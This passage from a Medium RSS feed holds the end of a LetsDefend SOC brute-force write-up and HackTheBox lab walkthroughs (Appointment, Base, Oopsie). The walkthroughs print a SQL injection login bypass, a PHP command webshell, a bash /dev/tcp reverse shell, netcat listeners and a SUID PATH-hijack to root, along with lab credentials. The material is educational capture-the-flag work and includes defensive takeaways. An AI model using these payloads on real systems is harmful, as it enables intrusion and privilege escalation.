HTTP/1.1 403 512<br>Hashes: N/A<br>Email addresses: test@letsdefend.io<br>File names: N/A<br>Processes: N/A<br>Ports: N/A</p><h3><strong>Step 3: Event Timeline</strong></h3><p><strong>Sep 22, 2024 08:19 AM </strong>CTI platform detects credentials for test@letsdefend.io exposed in an external source.</p><p><strong>Sep 22, 2024 08:19 AM </strong>CTI alert email sent to soc@letsdefend.io.</p><h3><strong>Step 4: Investigation:</strong></h3><p>SOC analyst validates the account and determines the scope of exposure. This was discovered from the email snippet.</p><p><strong>Operating System: Linux</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FdqDwMCK-8z9tmcxYf_Ygg.png" /></figure><p>There are detailed mitigation steps in the email, the severity of the attack is low as well. Just to be sure that nothing is out of place, I reviewed the logs. It was mainly a pattern of unauthorized logins that started at <strong>7:25AM </strong>and it spanned over <strong>8:21AM. </strong>All the attempts were blocked by a firewall, so the login was unsuccessful.</p><p>To measure the scope, I searched the logs for the source address 134.209.145.73 where the raw log contained ‘login.’ The query returned 50 events before Sep 24, 2024, 08:21 AM UTC, each a POST request to /accounts/login on app.letsdefend.io over port 443. Every event was blocked with the reason ‘access_denied’ against the user test@letsdefend.io, with the message ‘Suspicious activity from unused cloud region detected, connection blocked.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBToPEoXU0GkLlzFIZziCg.png" /></figure><p>The over 50 attempts exceed the baseline of normal activity, so it has been concluded that this is a <strong>Brute-Force </strong>attempt.</p><p>I also reviewed the source IP address on <strong>VirusTotal.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skxVyJRYARkY7io17zGRKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bn36lX-eKeFqmpI7y2YDsQ.png" /></figure><p>Although it has a score of 6, most of the recent reports are related to phishing.</p><p><strong>Response: </strong>Disable or lock the account, reset the password, revoke active sessions, enforce MFA, and monitor for suspicious logins.</p><p><strong>Containment</strong></p><p>The target system does not need to be isolated because all requests were blocked at the firewall and proxy.</p><p><strong>Lessons Learned</strong></p><ul><li>Block remote IPs that fall outside the scope of work.</li><li>Enforce MFA on all services exposed to remote access.</li></ul><p><strong>Appendix</strong></p><p><strong>MITRE ATT&amp;CK</strong></p><ul><li>T1110: Brute Force (Credential Access). Over 50 failed login attempts from the same user.</li><li>T1535: Unused/Unsupported Cloud Regions (Defense Evasion). Access attempt from a region configured as unused or unsupported.</li><li>T1078: Valid Accounts (Initial Access). Login attempts against a legitimate account, test@letsdefend.io.</li></ul><p><strong>Artifacts</strong></p><ul><li>Source IP: 134.209.145.73 (DigitalOcean, AS14061, geolocated in India; flagged malicious and phishing on VirusTotal, 6/92).</li><li>Destination IP: 52.15.206.21 (AWS).</li><li>Username: test@letsdefend.io</li><li>Event ID: 303</li><li>Detection rule: SOC325</li><li>Request: POST /accounts/login HTTP/1.1 403</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd626a61fde8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Appointment Walkthrough]]></title>
            <link>https://medium.com/@adeyemiaayatullah/hackthebox-appointment-walkthrough-9c71e251daf9?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c71e251daf9</guid>
            <category><![CDATA[appointment]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 04:42:57 GMT</pubDate>
            <atom:updated>2026-06-06T04:54:44.928Z</atom:updated>
            <content:encoded><![CDATA[<p>Appointment is a beginner-friendly machine that introduces SQL Injection, one of the most common web application vulnerabilities. The objective is to identify the vulnerability and use it to bypass authentication.</p><h3>Initial Enumeration</h3><p>As with any web application assessment, the first step is to visit the target website and observe its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sSeYrkZMTBWFGi68DHQ_lQ.png" /></figure><p>The application presents a login page. Since login forms typically interact with a backend database to verify user credentials, they are common targets for SQL Injection attacks. Before attempting any exploitation, however, we should perform basic enumeration to identify exposed services.</p><pre>sudo nmap -sC -sV 10.129.31.182</pre><p>The scan reveals the following:</p><pre>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.38 ((Debian))</pre><p>The web application is running on Apache HTTP Server 2.4.38 on a Debian system.</p><h3>SQL Fundamentals</h3><h3>What does SQL stand for?</h3><p><strong>Answer:</strong> Structured Query Language</p><p>SQL is the standard language used to interact with relational databases.</p><h3>What is one of the most common SQL vulnerabilities?</h3><p><strong>Answer:</strong> SQL Injection</p><p>SQL Injection occurs when an application improperly handles user input, allowing an attacker to modify database queries.</p><h3>What is the 2021 OWASP Top 10 classification for this vulnerability?</h3><p><strong>Answer:</strong> A03:2021 — Injection</p><p>Injection vulnerabilities occur when untrusted data is interpreted as commands or queries by an application.</p><h3>Additional Questions</h3><h3>What does Nmap report as the service and version that are running on port 80 of the target?</h3><p><strong>Answer: </strong>Apache httpd 2.4.38 ((Debian))</p><h3>What is the standard port used for HTTPS?</h3><p><strong>Answer:</strong> 443</p><h3>What is a folder called in web application terminology?</h3><p><strong>Answer:</strong> directory</p><h3>What HTTP response code is returned for a “Not Found” error?</h3><p><strong>Answer:</strong> 404</p><h3>What switch does Gobuster use to enumerate directories?</h3><p><strong>Answer:</strong> dir</p><p>Example:</p><pre>gobuster dir -u http://target-ip -w wordlist.txt</pre><h3>Exploiting the Login Form</h3><p>One of the earlier questions revealed that the # character can be used to comment out the remainder of a line in MySQL.</p><p>Many login forms construct SQL queries similar to the following:</p><pre>SELECT * FROM users<br>WHERE username=&#39;admin&#39;<br>AND password=&#39;password&#39;;</pre><p>If user input is not properly sanitized, an attacker may be able to alter the query.</p><p>By entering:</p><pre>Username: admin&#39;#<br>Password: anything</pre><p>the resulting query becomes:</p><pre>SELECT * FROM users<br>WHERE username=&#39;admin&#39;#&#39;<br>AND password=&#39;anything&#39;;</pre><p>The # character comments out the remainder of the query, causing the password check to be ignored.</p><p>As a result, the application only verifies that the username exists and grants access without validating the password.</p><p>After submitting the payload, authentication is bypassed successfully and the challenge flag becomes visible.</p><h3>Key Takeaways</h3><ul><li>Login forms are common targets for SQL Injection attacks.</li><li>Enumeration should always precede exploitation.</li><li>Unsanitized user input can alter SQL queries.</li><li>Parameterized queries and prepared statements help prevent SQL Injection vulnerabilities.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c71e251daf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox StartingPoint (Base)]]></title>
            <link>https://medium.com/@adeyemiaayatullah/hackthebox-startingpoint-base-6f1677676379?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f1677676379</guid>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Wed, 03 Jun 2026 15:39:56 GMT</pubDate>
            <atom:updated>2026-06-03T15:39:56.897Z</atom:updated>
            <content:encoded><![CDATA[<p>Personal Rating: Moderate</p><p>Since this is the last box in the series, the pace is going to be faster because I am under the assumption that we are familiar with most of these stuff.</p><ol><li>Which two TCP ports are open on the remote host?</li></ol><p>As always we start with a <strong>NMAP </strong>scan</p><p><strong><em>Answer: 22,80</em></strong></p><p>2. What is the relative path on the webserver for the login page?</p><p>Run the IP address on your <strong>browser. </strong>Navigate to the login and copy the path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*xBvxEYQTdmtDzENqD1yW7w.png" /></figure><p><strong>Answer: </strong><a href="http://10.129.33.140/login/login.php">/login/login.php</a></p><p>3. How many files are present in the ‘/login’ directory?<br>We don’t have access to log in, so we can try other methods. We can start by running the login page, without the <strong>.php </strong>file</p><pre>http://10.129.33.140/login/login.php</pre><p><strong>Answer: 3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*7MJwyotgvHowMKjwNmH4kw.png" /></figure><p>4. What is the file extension of a swap file?</p><p><strong>Answer: .swp</strong></p><p>5. Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?</p><p>Click on <strong>login.php.swp </strong>to download the swap file. After that, you can look through the code and check to see how the <strong>password and username </strong>are being checked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*SzFpN_yOA-L7gg1TaHvfSw.png" /></figure><p><strong>Answer: strcmp</strong></p><p><strong>6. </strong>In which directory are the uploaded files stored?</p><p>Since we already know that the <strong>code </strong>uses <strong>strcmp </strong>to compare the username and password against stored data in the system, we will exploit this vulnerability. To do this, of course we need <strong>burpsuite.</strong></p><p>I would highly recommend you to turn off your <strong>intercept. </strong>I can assume that you are familiar with <strong>Burpsuite at this point.</strong></p><p>Steps:</p><p>Go to the dashboard, select <strong>proxy, </strong>then select <strong>open browser, </strong>on the browser run your <strong>Ip address, </strong>then go to the <strong>login. </strong>On login you can <strong>enter </strong>random <strong>username and password. </strong>Review this in <strong>burpsuite </strong>and make sure that you <strong>recieved a post </strong>request from <strong>login.php. </strong>Go ahead and send that request to a repeater.</p><p>Now if you analyze the functionality of the <strong>strcmp </strong>in the code, you will see that it checks one individual element, against elements in an array, if exists <strong>return 0. </strong>Now instead, we will modify the <strong>login.php </strong>code and pass an <strong>array.</strong></p><pre>username[]=admin&amp;password[]=password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CpAVRskRSCZrdrlDGO5Eg.png" /></figure><p>Now we can proceed to show the response in browser by clicking on the three horizontal lines next to <strong>request.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0eLjwr410rd4cRI9r_Xzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qm85bJDfnjHbHNntk8CZbg.png" /></figure><p>The next step is to see if we are allowed to upload php files or not, so we will upload the test bel</p><pre> &lt;?php phpinfo(); ?&gt;</pre><p>Just open a notepad, enter this code and save it with <strong>test.php </strong>then upload it on the webpage. Then next we can run a <strong>gobuster </strong>to check for the available webpages aka where the <strong>test.php </strong>file is saved</p><pre>git clone https://github.com/kkrypt0nn/wordlists.git</pre><p>Then navigate to the directory and run the big.txt</p><pre>cd  wordlists/wordlists/discovery<br>gobuster dir --url http://10.129.155.250 --wordlist big.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_-w-fLPNfrvhxPeSL_etQ.png" /></figure><p><strong>Answer: _/uploaded</strong></p><p>7. Which user exists on the remote host with a home directory?</p><p>We can navigate to to the <strong>/_uploaded </strong>webpage and get our previous test file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*GKsUPN4TdWTqrDQeuTEcpg.png" /></figure><p>After clicking on <strong>test.php </strong>we will get something like this. I only included a snipper of what is important.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*riNGezFRvGrZv5kJdSeKQQ.png" /></figure><p>From this we know that the Group is <strong>www-data(33)/33. </strong>The next step is to check if there exists a reverse shell for this group. I proceeded to download a <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"><strong>php reverse shell</strong></a>. I then uploaded it to the /upload directory of the website. Remember to update the <strong>IP address </strong>and the <strong>listening port </strong>on the reverseshell before saving.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e41qmy8Qc0l1rAFpUDzsBQ.png" /></figure><p>Next, we will set up a listening port by running</p><pre>sudo nc -lvnp 1234</pre><p>navigate to the <strong>/_uploaded </strong>to access our reverse shell, and click on our <strong>reverseshell.php.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAoi2hpBR_kzzcnddMAdzw.png" /></figure><p>From here I was able to gain a connection and log in to <strong>John&#39;s </strong>directory but I didn&#39;t recover much useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YoWkdUWKOL0vNjHTK8VRA.png" /></figure><p>While this didnt work, I got an hint and that is to escalate the user privileges. Only the root has access to most of the stuff. The next step is to try to access the <strong>/bin/bash </strong>as the root.</p><p>To do this I will execute a command on the repeater</p><pre>&lt;?php echo system($_REQUEST[&#39;cmd&#39;]);?&gt;</pre><p>Save this to a .php file, and upload it on the uploads tab. Some firewalls might block this, what you can do is upload the previous <strong>reverseshell.php </strong>file from earlier. Then send the request to the repeater. From the repeater, you can edit the content to the <strong>above command (Check the highlighted text).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_ISE6ApdidrglFt0G-WvA.png" /></figure><p>After that, go back to your uploads, and click on your newly uploaded file. On the browser set the <strong>cmd=id.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bwZO3MM3nE-YS0ZOykp9Ng.png" /></figure><p><strong>Next, </strong>we will intercept this request on burp suite by sending it to the repeater. Then we will change the <strong>request to POST.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*YFxsPzSl8FdE3Cz6m_11BA.png" /></figure><p>Next, we will set this as the <strong>cmd </strong>parameter</p><pre> /bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0&gt;&amp;1&#39;</pre><p>After pasting it, we will select the parameter and encode it by using ctrl +<strong>u</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*l4Tn1znGFm1zNC91iHYWBQ.png" /></figure><p>Next step is to set up a listener on your command shell.</p><pre>sudo nc -lvnp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8A07hw0c59nE_QgEKQAg3w.png" /></figure><pre>www-data@base:/var/www/html/_uploaded$ cd /<br>cd /<br>www-data@base:/$ ls<br>www-data@base:/$ cd var<br>www-data@base:/var$ cd www<br>www-data@base:/var/www$ ls<br>www-data@base:/var/www$ cd html<br>www-data@base:/var/www/html$ ls<br>www-data@base:/var/www/html$ cd login<br>www-data@base:/var/www/html/login$ ls<br>config.php<br>login.php<br>login.php.swp<br>www-data@base:/var/www/html/login$ cat config.php<br>cat config.php<br>&lt;?php<br>$username = &quot;admin&quot;;<br>$password = &quot;thisisagoodpassword&quot;;www-data@base:/var/www/html/login$</pre><p>You can also save yourself the stress by going directly into the directory.</p><pre>cd var/www/html/login</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f1677676379" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackthebox Oopsie Walkthrough]]></title>
            <link>https://medium.com/@adeyemiaayatullah/hackthebox-oopsie-walkthrough-e20ca0709c51?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e20ca0709c51</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[oopsie]]></category>
            <category><![CDATA[bugtracker]]></category>
            <category><![CDATA[hack-the-box-labs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Sun, 17 May 2026 03:34:37 GMT</pubDate>
            <atom:updated>2026-06-06T05:14:52.705Z</atom:updated>
            <content:encoded><![CDATA[<p>Oopsie is an easy-rated Linux machine on HackTheBox that chains together broken access control, insecure file upload, and a SUID privilege escalation to achieve root. This writeup covers the full attack path and the defensive takeaways at each stage.</p><p>Difficulty: Easy</p><p>OS: Linux Techniques: Cookie manipulation, PHP reverse shell, PATH hijacking (SUID abuse)</p><p>As always, we will start by running a scan for open ports.</p><pre>sudo nmap -sC 10.129.95.191</pre><ol><li><em>With what kind of tool can intercept web traffic?</em></li></ol><p>Burp Suite functions as an intercepting <strong>proxy</strong>, allowing requests and responses to be inspected and modified before reaching the server.</p><p><strong>Proxy</strong></p><p>2. <em>What is the path to the directory on the webserver that returns a login page?</em></p><p>I have a step by step guide on how to download and utilize <a href="https://portswigger.net/burp/documentation/desktop/getting-started/download-and-install"><strong><em>burpsuite</em></strong></a><strong> </strong>in my previous story<strong>, </strong>so I will not be doing much now. If you want to check it out, please feel free to click <a href="https://medium.com/@adeyemiaayatullah/hackthebox-starting-point-bike-8955cacbf91d">here</a>.</p><p>After running this browser in burpsuite, we should get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qYfgzVkbGRhcK5VS-7GdQ.png" /></figure><p>This request logs shows that there is a login page, alongside a path to it. So we will explore that next.</p><p>Answer: /cdn-cgi/login</p><p>3. W<em>hat can be modified in Firefox to get access to the upload page?</em></p><p>After running the path, with our target IP, we get a user login page. Next, we will try to Login as a guest.</p><pre>http://10.129.64.100/cdn-cgi/login</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5umO0SruN2AKidHLtAirSA.png" /></figure><p>Doing this takes us to the guest dashboard, which looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxGfzfnj2F3acTBJ0Z6UtQ.png" /></figure><p>After exploring the page, we realize that the upload page requires <strong>super admin access. </strong>Since we are signed in as a guest, we are not allowed to make modifications, let’s see if there is a way to modify our information, to gain admin access. We can look through the cookies, to see if there are any saved information, we see none.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*MHQ-bxcEWQIItdvyNmHaZg.png" /></figure><p>Answer: Cookie</p><p>4. <em>What is the access ID of the admin user?</em></p><p>The application exposes account identifiers directly in the URL.</p><p>By changing the account ID from 2 to 1, the application returns information belonging to another user without verifying authorization.</p><p>This is an Insecure Direct Object Reference (IDOR), a form of Broken Access Control where object identifiers are exposed and authorization checks are missing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*PV0kAxMurocbZAzSkwlaoQ.png" /></figure><p>Next, we are going to modify cookies to reflect this information. We start by setting the role to <strong>admin </strong>and setting the access ID to <strong>34322.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*SMc56jmYsNeg82YeRsaIDg.png" /></figure><p><strong>Answer</strong>: 34322</p><p>5. <em>On uploading a file, what directory does that file appear in on the server?</em></p><p>We can navigate back to the <strong>uploads </strong>menu, and these changes should be reflected. We are now able to access the <strong>uploads. </strong>To escalate our privilege, we can upload a <strong>php </strong>reverse shell into this, and <strong>set up a listener on our terminal, </strong>to see if we can catch any vulnerabilities. To do that, we can access the php reverse shell <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"><strong>here</strong></a><strong>.</strong></p><p>Then we will save this file into our system. Remember to change the IP address to your IP, you can check this using the command below. Update the reverse shell configuration to use port 1234.</p><pre>ip a | grep tun0</pre><pre>cat &gt; reverse.php<br>#Then you can paste the reverse shell. Remember to change your IP<br>#the press ctrl+o to save</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eafSHW5iqVsHtMMmXRsqMw.png" /></figure><p>Next, we will upload this file, into the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_3wiAfgn8xUw_h0tYJzcQ.png" /></figure><p>The next step is to brute force to locate the directory where the file we uploaded was stored into.</p><pre> gobuster dir --url http://{TARGET_IP}/ --wordlist <br>/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZ23LO-KH5VLz8d-vxoTvw.png" /></figure><p><strong>Answer: </strong>Uploads</p><p>6. <em>What is the file that contains the password that is shared with the robert user?</em></p><p>The most likely directory is the <strong>uploads, </strong>so we will try to access the files inside this directory. Remember to change the IP address to your target IP.</p><p><a href="http://10.129.64.100/"><strong>http://</strong>10.129.64.100</a>/uploads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSvwz46lcjGvlNPwi_rYpg.png" /></figure><p>Direct access to the directory listing is denied.. The next step is to see if we can access the file that we uploaded earlier. We will start by setting up our listening port, to listen on the port included in our reverse shell.</p><pre>nc -lvnp 1234</pre><p>Then we will try to explore the uploads again, this time, specifying the file we want to explore.</p><p><a href="http://10.129.64.100/"><strong>http://</strong>10.129.64.100</a>/uploads/reverseshell.php</p><p>Yayy we got a response from our listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FE-nmPJLwMm5ChEAezMd9w.png" /></figure><p>Next we can see how to escalate our privileges by navigating through the directories. The first thing I checked is the userID, from the information provided, a prevalent name is <strong>www. </strong>Next, I navigated through the directories to see if I can get any information.</p><pre>$ whoami<br>www-data<br>$ ls<br>bin<br>boot<br>tmp<br>usr<br>var<br>vmlinuz<br>vmlinuz.old<br><br>$ cd var<br><br>$ ls<br><br>backups<br>cache<br>crash<br>lib<br>local<br>lock<br>log<br>mail<br>opt<br>run<br>snap<br>spool<br>tmp<br>www<br><br>$ cd www<br><br>$ ls<br>html<br><br>$ cd html<br><br>$ ls<br><br>cdn-cgi<br>css<br>fonts<br>images<br>index.php<br>js<br>themes<br>uploads<br><br>$ cd cdn-cgi<br><br>$ ls<br>login<br><br>$ cd login<br>$ ls<br>admin.php<br>db.php<br>index.php<br>script.js<br><br>$ cd db.php<br>/bin/sh: 13: cd: can&#39;t cd to db.php<br>$ cat db.php<br>&lt;?php<br>$conn = mysqli_connect(&#39;localhost&#39;,&#39;robert&#39;,&#39;M3g4C0rpUs3r!&#39;,&#39;garage&#39;);</pre><p>After navigating through the directories, I located a <strong>db.php </strong>that provided the username <strong>robert.</strong></p><p>Answer: db.php</p><p>7. <em>What executible is run with the option “-group bugtracker” to identify all files owned by the bugtracker group?</em></p><p>Let’s try to see if we can login using the credentials provided for <strong>robert. </strong>To make our environment more interactive, we can upgrade it by running this command.</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; </pre><p>Next, we will try to gain access into <strong>Robert’s account.</strong></p><pre>$ python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert<br>su robert<br>Password: M3g4C0rpUs3r!<br><br>robert@oopsie:/var/www/html/cdn-cgi/login$ ls<br>ls<br>admin.php  db.php  index.php  script.js<br>robert@oopsie:/var/www/html/cdn-cgi/login$ id<br>id<br>uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)<br>robert@oopsie:/var/www/html/cdn-cgi/login$</pre><p>Great, we gained access, so far, we know that <strong>robert </strong>belongs to the <strong>bugtracker group. </strong>Let’s try to gain more information on that. We can simply start by running <strong>Bugtracker.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QflBUqxhVUIr4micxo7s0g.png" /></figure><p>So far we know that bugtracker, accepts a <strong>bugID. </strong>We do not really know what that is. A quick lookup on <strong>Bugtracker </strong>should do the trick. I came accross this <a href="https://www.cyberciti.biz/faq/how-do-i-find-all-the-files-owned-by-a-particular-user-or-group/">article</a>. The format to find all the files owned by a group is:</p><p><strong>find directory-location -group {group-name} -name {file-name}</strong></p><p>Answer: <strong>Find</strong></p><p>8. <em>Regardless of which user starts running the bugtracker executable, what’s user privileges will use to run?</em></p><p>Answer: <strong>Root</strong></p><p>9. <em>What SUID stands for?</em></p><p>A quick lookup should give us what we need. <br>Answer: <strong>Set owner User ID</strong></p><p>10. <em>What is the name of the executable being called in an insecure manner?</em></p><pre>find / -group bugtracker 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*iaFSD5Fx_0JyNwAp7bDVtA.png" /></figure><p>Remember previously, on the web browser we set the <strong>UserID </strong>to 2, to gain admin access. We can try running bugtracker again, and feeding it the same ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIHecM8CvnpcuR5rT2Y9Hg.png" /></figure><p>We see something different, now let’s try another random number like 5. We get this message. The <strong>bugtracker </strong>binary executes the cat command without using an absolute path.</p><p>Because the binary runs with elevated privileges, Linux searches the PATH environment variable to locate cat.</p><p>If we place a malicious executable named cat earlier in PATH, the privileged program executes our version instead of /bin/cat.</p><p>This results in command execution as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*qWIG_u7liCJLdlK8VBnopA.png" /></figure><p><em>Answer: </em><strong><em>Cat</em></strong></p><p>11. <strong>Submit user flag</strong></p><p>Next, let’s navigate through the directories again as <strong>robert, </strong>and see if we find anything useful</p><pre>robert@oopsie:/$ cd home<br>cd home<br>robert@oopsie:/home$ ls<br>ls<br>robert<br>robert@oopsie:/home$ cd robert<br>cd robert<br>robert@oopsie:~$ ls<br>ls<br>user.txt<br>robert@oopsie:~$ cat user.txt<br>cat user.txt</pre><p>12. Submit Root Flag</p><p>To gain access to the root, let’s abuse the executable that was being insecurely called. <strong>Cat. </strong>We can create a file <strong>cat </strong>in the tmp directory.</p><pre><br>robert@oopsie:/$cd tmp<br>cd tmp<br>robert@oopsie:/tmp$ echo &quot;/bin/sh&quot; &gt; cat<br>echo &quot;/bin/sh&quot; &gt; cat<br>robert@oopsie:/tmp$ chmod +x cat<br>chmod +x cat<br>robert@oopsie:/tmp$  export PATH=/tmp:$PATH<br> export PATH=/tmp:$PATH<br>robert@oopsie:/tmp$ echo $PATH<br>echo $PATH<br>/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games<br><br>#Great now we are in, the root directory. Let&#39;s try out bugtracker again<br><br>robert@oopsie:/tmp$ bugtracker<br>bugtracker<br><br>------------------<br>: EV Bug Tracker :<br>------------------<br><br>Provide Bug ID: 2<br>2<br>---------------<br><br># whoami<br>whoami<br>root<br># ls<br>ls<br>cat<br># cd /<br>cd /<br># ls<br>ls<br>bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz<br>boot   etc   initrd.img.old  lost+found  opt   run   srv   usr  vmlinuz.old<br>cdrom  home  lib             media       proc  sbin  sys   var<br># cd root<br>cd root<br># ls<br>ls<br>reports  root.txt<br># /bin/cat root.txt<br>/bin/cat root.txt<br></pre><p>Congratulations! You have successfully Pawned the machine!!</p><h3><strong>Defensive Takeaways</strong></h3><p>→ Cookie manipulation: Server-side session validation would have <br> prevented the access ID tampering entirely. Never trust client-side role data.</p><p>→ Insecure file upload: The server accepted executable PHP files with no <br> validation. Whitelisting file types and stripping execute permissions on <br> upload directories closes this vector.</p><p>→ SUID + PATH hijacking: Binaries with SUID set should never call system <br> utilities by relative path. Always use absolute paths (e.g. /bin/cat, <br> not cat).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e20ca0709c51" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>